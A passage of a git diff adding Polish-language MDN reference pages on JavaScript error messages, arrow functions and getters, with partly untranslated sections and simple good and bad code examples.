cudzysłowów lub uciec od apostrofu:</p> + +<pre class="brush: js example-good">var foo = "Tom's bar"; +var foo = 'Tom\'s bar'; +</pre> + +<h3 id="Deklarowanie_właściwości_za_pomocą_var">Deklarowanie właściwości za pomocą var</h3> + +<p>Nie można zadeklarować właściwości obiektu lub tablicy za pomocą deklaracji var.</p> + +<pre class="brush: js example-bad">var obj = {}; +var obj.foo = 'hi'; // SyntaxError missing ; before statement + +var array = []; +var array[0] = 'there'; // SyntaxError missing ; before statement +</pre> + +<p>Zamiast tego pomiń słowo kluczowe var:</p> + +<pre class="brush: js example-good">var obj = {}; +obj.foo = 'hi'; + +var array = []; +array[0] = 'there'; +</pre> + +<h3 id="Bad_keywords">Bad keywords</h3> + +<p>Jeśli pochodzisz z innego języka programowania, często używasz słów kluczowych, które nie oznaczają tego samego lub nie mają żadnego znaczenia w javaScript:</p> + +<pre class="brush: js example-bad">def print(info){ + console.log(info); +}; // SyntaxError missing ; before statement</pre> + +<p>Zamiast tego użyj funkcji def:</p> + +<pre class="brush: js example-good">function print(info){ + console.log(info); +};</pre> + +<h2 id="Zobacz_tez">Zobacz tez</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Automatic semicolon insertion (ASI)</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html b/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html new file mode 100644 index 0000000000..309031c6d0 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/more_arguments_needed/index.html @@ -0,0 +1,44 @@ +--- +title: 'TypeError: More arguments needed' +slug: Web/JavaScript/Reference/Errors/More_arguments_needed +translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Komunikat">Komunikat</h2> + +<pre class="syntaxbox">TypeError: Object.create requires more than 0 arguments +TypeError: Object.setPrototypeOf requires more than 1 argument +TypeError: Object.defineProperties requires more than 0 arguments +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("TypeError")}}.</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Błąd zaistniał w sposobie wywołania funkcji. Należy podać więcej argumentów.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Metoda {{jsxref("Object.create()")}} wymaga przynajmniej jednego argumentu a metoda {{jsxref("Object.setPrototypeOf()")}} wymaga przynajmniej dwóch:</p> + +<pre class="brush: js example-bad">var obj = Object.create(); +// TypeError: Object.create requires more than 0 arguments + +var obj = Object.setPrototypeOf({}); +// TypeError: Object.setPrototypeOf requires more than 1 argument +</pre> + +<p>Możesz temu zaradzić ustawiając {{jsxref("null")}} jako prototyp, na przykład:</p> + +<pre class="brush: js example-good">var obj = Object.create(null); + +var obj = Object.setPrototypeOf({}, null);</pre> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/not_a_function/index.html b/files/pl/web/javascript/reference/errors/not_a_function/index.html new file mode 100644 index 0000000000..019a223f0f --- /dev/null +++ b/files/pl/web/javascript/reference/errors/not_a_function/index.html @@ -0,0 +1,84 @@ +--- +title: 'TypeError: "x" nie jest funkcją' +slug: Web/JavaScript/Reference/Errors/Not_a_function +tags: + - Errors + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Not_a_function +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox">TypeError: "x" is not a function +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("TypeError")}}.</p> + +<h2 id="Co_poszło_źle">Co poszło źle?</h2> + +<p>Próbowano wywołać wartość jak funkcję, ale wartość nie jest funkcją. Kod oczekuje od Ciebie przekazania funkcji, co nie miało miejsca.</p> + +<p>Może zrobiłeś literówkę w nazwie funkcji? Może objekt na którym wywołujesz tę metodę nie posiada tej funkcji? Na przykład, objekt JavaScript nie posiada funkcji <em>map, </em>natomiast objekt JavaScript Array posiada.</p> + +<p>Istnieje mnóstwo wbudowanych funkcji wymagających (callback) funkcji. Będziesz musiał wprowadzić funkcję, by metody te działały poprawnie:</p> + +<ul> + <li>Gdy pracujesz z {{jsxref("Array")}} lub {{jsxref("TypedArray")}} objektami: + <ul> + <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}}, {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li> + </ul> + </li> + <li>Gdy pracujesz z {{jsxref("Map")}} i {{jsxref("Set")}} objektami: + <ul> + <li>{{jsxref("Map.prototype.forEach()")}} and {{jsxref("Set.prototype.forEach()")}}</li> + </ul> + </li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Literówka_w_nazwie_funkcji">Literówka w nazwie funkcji</h3> + +<p>W tym wypadku, co zdarza się zbyt często, jest literówka w nazwie metody:</p> + +<pre class="brush: js example-bad">var x = document.getElementByID('foo'); +// TypeError: document.getElementByID is not a function +</pre> + +<p>Poprawna naywa metody to <code>getElementByI<strong>d</strong></code>:</p> + +<pre class="brush: js example-good">var x = document.getElementById('foo'); +</pre> + +<h3 id="Funkcje_wywołane_na_nieodpowiednim_objekcie">Funkcje wywołane na nieodpowiednim objekcie</h3> + +<p>Dla pewnych metod, musisz podać (callback) funkcję, która będzie działała tylko dla specyficznych objektów. W tym przykładzie, {{jsxref("Array.prototype.map()")}} jest użyta, podczas gdy działa tylko z objektami {{jsxref("Array")}}</p> + +<pre class="brush: js example-bad">var obj = {a: 13, b: 37, c: 42}; + +obj.map(function(num) { + return num * 2; +}); + +// TypeError: obj.map is not a function</pre> + +<p>Użyj w zamian <em>array:</em></p> + +<pre class="brush: js example-good">var numbers = [1, 4, 9]; + +numbers.map(function(num) { + return num * 2; +}); + +// Array [2, 8, 18] +</pre> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/not_defined/index.html b/files/pl/web/javascript/reference/errors/not_defined/index.html new file mode 100644 index 0000000000..a5e72f84cb --- /dev/null +++ b/files/pl/web/javascript/reference/errors/not_defined/index.html @@ -0,0 +1,66 @@ +--- +title: 'ReferenceError: "x" is not defined' +slug: Web/JavaScript/Reference/Errors/Not_defined +translation_of: Web/JavaScript/Reference/Errors/Not_defined +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox">ReferenceError: "x" is not defined +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("ReferenceError")}}.</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Istnieje gdzieś niezadeklarowana zmienna. Zmienna ta powinna być zadeklarowana, a jeśli jest upewnij się czy jest dostępna w twoim skrypcie albo {{Glossary("scope")}}.</p> + +<div class="note"> +<p><strong>Notatka:</strong> Gdy ładujesz bibliotekę (na przykład jQuery), <span id="result_box" lang="pl"><span>upewnij się, że jest załadowana przed dostępem do zmiennych biblioteki, np</span></span> "$". Dodaj znacznik {{HTMLElement("script")}} ładujący bibliotekę przed twoim kodem, który jej używa.</p> +</div> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="Zmienna_niezadeklarowana">Zmienna niezadeklarowana</h3> + +<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined +</pre> + +<p>Zmianna "foo" jest niezdefiniowana. Powinna być jakąś wartością string wiec("String.prototype.substring()")}} metoda ta będzie działać.</p> + +<pre class="brush: js example-good">var foo = 'bar'; +foo.substring(1); // "ar"</pre> + +<h3 id="Zły_zasięg">Zły zasięg</h3> + +<p><span id="result_box" lang="pl"><span>Zmienna musi być dostępna w bieżącym kontekście realizacji.</span> <span>Zmienne zdefiniowane wewnątrz</span></span> <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funcji </a><span lang="pl"><span>nie mogą być dostępne z dowolnego miejsca poza funkcją, powodem jest to że zmienna jest zdefiniowana tylko zmienną lokalną funkcji.</span></span></p> + +<pre class="brush: js example-bad">function numbers() { + var num1 = 2, + num2 = 3; + return num1 + num2; +} + +console.log(num1); // ReferenceError num1 is not defined.</pre> + +<p>Jakkolwiek funkcja może mieć dostęp do wszystkich zmiennych dzięki deklaracji zmiennych globalnie. Zmienne globalne są dostępne dla wszystkich funkcji.</p> + +<pre class="brush: js example-good">var num1 = 2, + num2 = 3; + +function numbers() { + return num1 + num2; +} + +console.log(num1); // 2</pre> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{Glossary("Scope")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Przewodnik deklaracji zmiennych w JavaScript</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Zasięg funkcji w Javascript</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/property_access_denied/index.html b/files/pl/web/javascript/reference/errors/property_access_denied/index.html new file mode 100644 index 0000000000..5db1ef3cad --- /dev/null +++ b/files/pl/web/javascript/reference/errors/property_access_denied/index.html @@ -0,0 +1,53 @@ +--- +title: 'Error: Permission denied to access property "x"' +slug: Web/JavaScript/Reference/Errors/Property_access_denied +tags: + - Bezpieczeństwo + - Błąd + - Błędy + - Error + - Errors + - JavaScript +translation_of: Web/JavaScript/Reference/Errors/Property_access_denied +--- +<div>{{jsSidebar("Errors")}}</div> + +<p>Wyjątek JavaScript "Permission denied to access property" pojawia się podczas próby dostępu do obiektu, do którego nie masz uprawnień</p> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox notranslate">Error: Permission denied to access property "x" +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("Error")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Podjęto próbę dostępu do obiektu, do którego nie masz uprawnień. There was attempt to access an object for which you have no permission.Jest to prawdopodobnie element <a href="/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame element (<iframe>) represents a nested browsing context, embedding another HTML page into the current one."><code><iframe></code></a> załadowany z innej domeny, dla której naruszyłeś <a href="/en-US/docs/Web/Security/Same-origin_policy">regułę tego samego pochodzenia (same-origin policy)</a>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Brak_uprawnień_dostepu_do_dokumentu">Brak uprawnień dostepu do dokumentu</h3> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe> + <script> + onload = function() { + console.log(frames[0].document); + // Error: Permission denied to access property "document" + } + </script> + </head> + <body></body> +</html></pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame element (<iframe>) represents a nested browsing context, embedding another HTML page into the current one."><code><iframe></code></a></li> + <li><a href="/pl/docs/Web/Bezpieczeństwo/Same-origin_policy">Reguła tego samego pochodzenia (same-origin policy)</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/unexpected_type/index.html b/files/pl/web/javascript/reference/errors/unexpected_type/index.html new file mode 100644 index 0000000000..39b363d42f --- /dev/null +++ b/files/pl/web/javascript/reference/errors/unexpected_type/index.html @@ -0,0 +1,69 @@ +--- +title: 'TypeError: "x" is (not) "y"' +slug: Web/JavaScript/Reference/Errors/Unexpected_type +tags: + - Błąd TypeError + - Błąd undefined + - Wartość null +translation_of: Web/JavaScript/Reference/Errors/Unexpected_type +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Message">Message</h2> + +<pre class="syntaxbox">TypeError: "x" is (not) "y" + +Examples: +TypeError: "x" is undefined +TypeError: "x" is null +TypeError: "undefined" is not an object +TypeError: "x" is not an object or null +TypeError: "x" is not a symbol +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("TypeError")}}.</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Pojawił się nieoczekiwany typ, dlatego pojawił się błąd. Błąd pojawia się często jako {{jsxref("undefined")}} albo {{jsxref("null")}} dla określonych wartości.</p> + +<p>Dodatkowo niektóre metody takie jak {{jsxref("Object.create()")}} albo {{jsxref("Symbol.keyFor()")}}, wymagają określonego typu, który musi być zadeklarowany.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Nieprawidłowe_przypadki_które_mogą_się_pojawić">Nieprawidłowe przypadki, które mogą się pojawić</h3> + +<pre class="brush: js example-bad">// undefined oraz null to przypadki, dla których pojawi się błąd +var foo = undefined; +foo.substring(1); // TypeError: foo is undefined + +var foo = null; +foo.substring(1); // TypeError: foo is null + + +// <span class="short_text" id="result_box" lang="pl"><span>Niektóre metody mogą wymagać określonego typu</span></span> +var foo = {} +Symbol.keyFor(foo); // TypeError: foo is not a symbol + +var foo = 'bar' +Object.create(foo); // TypeError: "foo" is not an object or null +</pre> + +<h2 id="Jak_naprawić">Jak naprawić?</h2> + +<p>Aby naprawić problem, w przypadku wyświetlenia <code>'undefined'</code> bądź '<code>null</code>' dla określonych wartości można użyć operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof.</a></p> + +<h3 id="Przykład">Przykład</h3> + +<pre class="brush: js">if (typeof foo !== 'undefined') { + // Teraz wiemy, że zmienna foo jest zdefiniowana +}</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("undefined")}}</li> + <li>{{jsxref("null")}}</li> +</ul> diff --git a/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html b/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html new file mode 100644 index 0000000000..d1b9d6010f --- /dev/null +++ b/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html @@ -0,0 +1,355 @@ +--- +title: Funkcje strzałkowe +slug: Web/JavaScript/Reference/Functions/Funkcje_strzalkowe +translation_of: Web/JavaScript/Reference/Functions/Arrow_functions +--- +<div>{{jsSidebar("Functions")}}</div> + +<p><strong>Funkcja strzałkowa </strong>ma krótszą składnię niż <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">zwykłe wyrażenie funkcji</a> oraz nie posiada własnego <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argumentów</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a>, tudzież właściwości <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>. Taki sposób wyrażenia funkcji najlepiej wykorzystać przy tworzeniu funkcji bez metod, ponadto nie mogą zostać one użyte jako konstruktory.</p> + +<h2 id="Składnia">Składnia</h2> + +<h3 id="Składnia_podstawowa">Składnia podstawowa</h3> + +<pre class="syntaxbox"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) => {</strong> <em>statements</em> <strong>}</strong> +<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =></strong> <em>expression</em> +// inaczej mówiąc: <strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>)</strong> => { return <em>expression</em>; } + +// Nawiasy są opcjonalne jeżeli występuje wyłącznie jedna nazwa parametru: +<em>(singleParam)</em> <strong>=> {</strong> <em>statements</em> <strong>}</strong> +<em>singleParam</em> <strong>=></strong> { <em>statements </em>} +<em>singleParam</em> <strong>=></strong> <em>expression</em> + + +// Lista parametrów dla funkcji bez parametrów powinna być zapisana przy użyciu pustego nawiasu. +() => { <em>statements</em> } +</pre> + +<h3 id="Zaawansowana_składnia">Zaawansowana składnia</h3> + +<pre class="syntaxbox">// Otoczenie ciała funkcji nawiasami pozwoli zwrócić tzw. object literal expression: +<em>params</em> => ({<em>foo: bar</em>}) + +// Parametry Rest (<a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a>) i domyślne (<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a>) są wspierane +(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) => { <em>statements</em> } +(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) => { <em>statements</em> } + +// Destrukturyzacja (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring</a>) w ramach listy parametrów jest również wspierana +let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c; +f(); +// 6 +</pre> + +<h2 id="Opis">Opis</h2> + +<p>Zobacz również <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" na hacks.mozilla.org</a>.</p> + +<p>Dwa czynniki, które wpłynęły na wprowadzenie funkcji strzałkowych: krótszy zapis funkcji i brak wiązania <code>this</code>.</p> + +<h3 id="Krótsze_funkcje">Krótsze funkcje</h3> + +<pre class="brush: js">var materials = [ + 'Hydrogen', + 'Helium', + 'Lithium', + 'Beryllium' +]; + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(material) { + return material.length; +}); // [8, 6, 7, 9] + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>((material) => { + return material.length; +}); // [8, 6, 7, 9] + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(material => material.length); // [8, 6, 7, 9] + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length }) => length); // [8, 6, 7, 9] +</pre> + +<h3 id="Brak_oddzielnego_this">Brak oddzielnego <code>this</code></h3> + +<p>Przed wprowadzeniem funkcji strzałkowych każda nowa funkcja deniniowała swoją własną wartość <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> (nowy obiekt w przypadku konstruktora, undefined w wywołaniach funkcji <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, obiekt bazowy jeśli funkcja jest wywoływana jako "metoda obiektowa", itp.). Okazało się to niekorzystne przy obiektowym stylu programowania.</p> + +<pre class="brush: js">function Person() { + // Konstruktor Person() definiuje `this` jako instancję samego siebie. + this.age = 0; + + setInterval(function growUp() { + // Bez trybu non-strict, funkcja growUp() definuje `this` + // jako obiekt globalny, który jest inny od `this` + // zdefiniowanego przez konstruktor Person(). + this.age++; + }, 1000); +} + +var p = new Person();</pre> + +<p>W ECMAScript 3/5, problem z <code>this</code> można było rozwiązać przez przydzielenie wartości <code>this</code> do zmiennej, która wygląda bardzo podobnie.</p> + +<pre class="brush: js">function Person() { + var that = this; + that.age = 0; + + setInterval(function growUp() { + // The callback refers to the `that` variable of which + // the value is the expected object. + that.age++; + }, 1000); +}</pre> + +<p>Można było również stworzyć <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">funkcję bound</a>, co pozwoliło nadać wstępnie przypisaną wartość <code>this</code> do powiązanej funkcji docelowej (funkcja <code>growUp()</code> w przykładzie powyżej).</p> + +<p>Funkcja strzałkowa nie posiada własnego <code>this</code>; używana jest wartość <code>this</code> kontekstu wykonania. W związku z tym, w poniższym kodzie, <code>this</code> użyty w funkcji, który jest przekazywany do <code>setInterval</code>, ma taką samą wartość jak <code>this</code> w funkcji otaczającej:</p> + +<pre class="brush: js">function Person(){ + this.age = 0; + + setInterval(() => { + this.age++; // własność |this| właściwie odnosi się do obiektu Person() + }, 1000); +} + +var p = new Person();</pre> + +<h4 id="Relation_with_strict_mode">Relation with strict mode</h4> + +<p>Given that <code>this</code> comes from the surrounding lexical context, <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> rules with regard to <code>this</code> are ignored.</p> + +<pre class="brush: js">var f = () => { 'use strict'; return this; }; +f() === window; // or the global object</pre> + +<p>All other strict mode rules apply normally.</p> + +<h4 id="Invoked_through_call_or_apply">Invoked through call or apply</h4> + +<p>Since arrow functions do not have their own <code>this</code>, the methods <code>call()</code> or <code>apply()</code> can only pass in parameters. <code>thisArg</code> is ignored.</p> + +<pre class="brush: js">var adder = { + base: 1, + + add: function(a) { + var f = v => v + this.base; + return f(a); + }, + + addThruCall: function(a) { + var f = v => v + this.base; + var b = { + base: 2 + }; + + return f.call(b, a); + } +}; + +console.log(adder.add(1)); // This would log to 2 +console.log(adder.addThruCall(1)); // This would log to 2 still</pre> + +<h3 id="No_binding_of_arguments">No binding of <code>arguments</code></h3> + +<p>Arrow functions do not have their own <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> object</a>. Thus, in this example, <code>arguments</code> is simply a reference to the the arguments of the enclosing scope:</p> + +<pre class="brush: js">var arguments = [1, 2, 3]; +var arr = () => arguments[0]; + +arr(); // 1 + +function foo(n) { + var f = () => arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n + return f(10); +} + +foo(1); // 2</pre> + +<p>In most cases, using <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a> is a good alternative to using an <code>arguments</code> object.</p> + +<pre class="brush: js">function foo(n) { + var f = (...args) => args[0] + n; + return f(10); +} + +foo(1); // 11</pre> + +<h3 id="Arrow_functions_used_as_methods">Arrow functions used as methods</h3> + +<p>As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:</p> + +<pre class="brush: js">'use strict'; +var obj = { + i: 10, + b: () => console.log(this.i, this), + c: function() { + console.log(this.i, this); + } +} +obj.b(); // prints undefined, Window {...} (or the global object) +obj.c(); // prints 10, Object {...}</pre> + +<p>Arrow functions do not have their own <code>this</code>. Another example involving {{jsxref("Object.defineProperty()")}}:</p> + +<pre class="brush: js">'use strict'; +var obj = { + a: 10 +}; + +Object.defineProperty(obj, 'b', { + get: () => { + console.log(this.a, typeof this.a, this); + return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined' + } +}); +</pre> + +<h3 id="Use_of_the_new_operator">Use of the <code>new</code> operator</h3> + +<p>Arrow functions cannot be used as constructors and will throw an error when used with <code>new</code>.</p> + +<pre class="brush: js">var Foo = () => {}; +var foo = new Foo(); // TypeError: Foo is not a constructor</pre> + +<h3 id="Use_of_prototype_property">Use of <code>prototype</code> property</h3> + +<p>Arrow functions do not have a <code>prototype</code> property.</p> + +<pre class="brush: js">var Foo = () => {}; +console.log(Foo.prototype); // undefined +</pre> + +<h3 id="Use_of_the_yield_keyword">Use of the <code>yield</code> keyword</h3> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.</p> + +<h2 id="Function_body">Function body</h2> + +<p>Arrow functions can have either a "concise body" or the usual "block body".</p> + +<p>In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit <code>return</code> statement.</p> + +<pre class="brush: js">var func = x => x * x; +// concise body syntax, implied "return" + +var func = (x, y) => { return x + y; }; +// with block body, explicit "return" needed +</pre> + +<h2 id="Returning_object_literals">Returning object literals</h2> + +<p>Keep in mind that returning object literals using the concise body syntax <code>params => {object:literal}</code> will not work as expected.</p> + +<pre class="brush: js">var func = () => { foo: 1 }; +// Calling func() returns undefined! + +var func = () => { foo: function() {} }; +// SyntaxError: function statement requires a name</pre> + +<p>This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. <code>foo</code> is treated like a label, not a key in an object literal).</p> + +<p>Remember to wrap the object literal in parentheses.</p> + +<pre class="brush: js">var func = () => ({foo: 1});</pre> + +<h2 id="Line_breaks">Line breaks</h2> + +<p>An arrow function cannot contain a line break between its parameters and its arrow.</p> + +<pre class="brush: js">var func = () + => 1; +// SyntaxError: expected expression, got '=>'</pre> + +<h2 id="Parsing_order">Parsing order</h2> + +<p>Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a> compared to regular functions.</p> + +<pre class="brush: js">let callback; + +callback = callback || function() {}; // ok + +callback = callback || () => {}; +// SyntaxError: invalid arrow-function arguments + +callback = callback || (() => {}); // ok +</pre> + +<h2 id="More_examples">More examples</h2> + +<pre class="brush: js">// An empty arrow function returns undefined +let empty = () => {}; + +(() => 'foobar')(); +// Returns "foobar" +// (this is an Immediately Invoked Function Expression +// see 'IIFE' in glossary) + +var simple = a => a > 15 ? 15 : a; +simple(16); // 15 +simple(10); // 10 + +let max = (a, b) => a > b ? a : b; + +// Easy array filtering, mapping, ... + +var arr = [5, 6, 13, 0, 1, 18, 23]; + +var sum = arr.reduce((a, b) => a + b); +// 66 + +var even = arr.filter(v => v % 2 == 0); +// [6, 0, 18] + +var double = arr.map(v => v * 2); +// [10, 12, 26, 0, 2, 36, 46] + +// More concise promise chains +promise.then(a => { + // ... +}).then(b => { + // ... +}); + +// Parameterless arrow functions that are visually easier to parse +setTimeout( () => { + console.log('I happen sooner'); + setTimeout( () => { + // deeper code + console.log('I happen later'); + }, 1); +}, 1); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.functions.arrow_functions")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/functions/get/index.html b/files/pl/web/javascript/reference/functions/get/index.html new file mode 100644 index 0000000000..0c4cf664dc --- /dev/null +++ b/files/pl/web/javascript/reference/functions/get/index.html @@ -0,0 +1,216 @@ +--- +title: getter +slug: Web/JavaScript/Reference/Functions/get +translation_of: Web/JavaScript/Reference/Functions/get +--- +<div>{{jsSidebar("Functions")}}</div> + +<div>Składnia <strong>get </strong>łączy właściwość obiektu z funkcją, która będzie wykonywana za każdym razem, kiedy ta właściwość jest wywoływana.</div> + +<div></div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">{get <em>prop</em>() { ... } } +{get <em>[expression]</em>() { ... } }</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>prop</code></dt> + <dd>Nazwa właściwości, która łączy ją z okresloną funkcją.</dd> + <dt>expression</dt> + <dd>Począwszy od ECMAScript 2015, można również użyć wyrażeń w celu połaczenia funkcji z nazwą właściwości, która jest obliczana.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Czasami pożądane jest aby umożliwić dostęp do właściwości, która zwraca wartość obliczaną dynamicznie lub potrzeba odzwierciedlić stan jakiejś wewnętrznej zmiennej bez potrzeby użycia wyraźnego wywołania metody. W języku JavaScript może to być osiągnięte dzięki użyciu <em>gettera</em>. Nie jest możliwe jednocześnie mieć getter połączony z właściwością i mieć tą właściwość (o takiej samej nazwie jak getter), która faktycznie trzyma wartość. Jednakże jest możliwe aby używać połączenia gettera i settera, żeby utworzyć rodzaj pseudo-właściwości.</p> + +<p>Zauważ, że gdy pracujemy ze składnią get to:</p> + +<div> +<ul> + <li>Można mieć identyfikator, który jest zarówno typu number jak i string;</li> + <li>Obowiązkowe jest aby zawierała dokładnie zero parametrów (zobacz: "<a href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/">Niekompatybilna zmiana ES5: literał dla funkcji gettera i setera muszą teraz mieć dokładnie zero albo jeden argumentów</a>", aby uzyskać więcej informacji)</li> + <li>Nie może pojawiać się w literale obiektu z innym getem lub właściwością o takich samych nazwach (<code>{ get x() { }, get x() { } }</code> oraz <code>{ x: ..., get x() { } }</code> są niedozwolone).</li> +</ul> +</div> + +<p>Getter może być usunięty poprzez operator <code><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Definiowanie_gettera_na_nowym_obiekcie_w_inicjalizatorze_obiektu.">Definiowanie gettera na nowym obiekcie w inicjalizatorze obiektu.</h3> + +<p>To stworzy pseudowłaściwość <code>latest</code> dla obiektu <code>obj</code>, która zwróci ostatnio zalogowany element w tablicy <code>log</code>.</p> + +<pre class="brush: js">var obj = { + log: ['test'], + get latest() { + if (this.log.length == 0) return undefined; + return this.log[this.log.length - 1]; + } +} +console.log(obj.latest); // Zwróci "test". +</pre> + +<p>Zauważ, że usiłowanie przypisania wartości do <code>latest</code> nie zmieni jej.</p> + +<h3 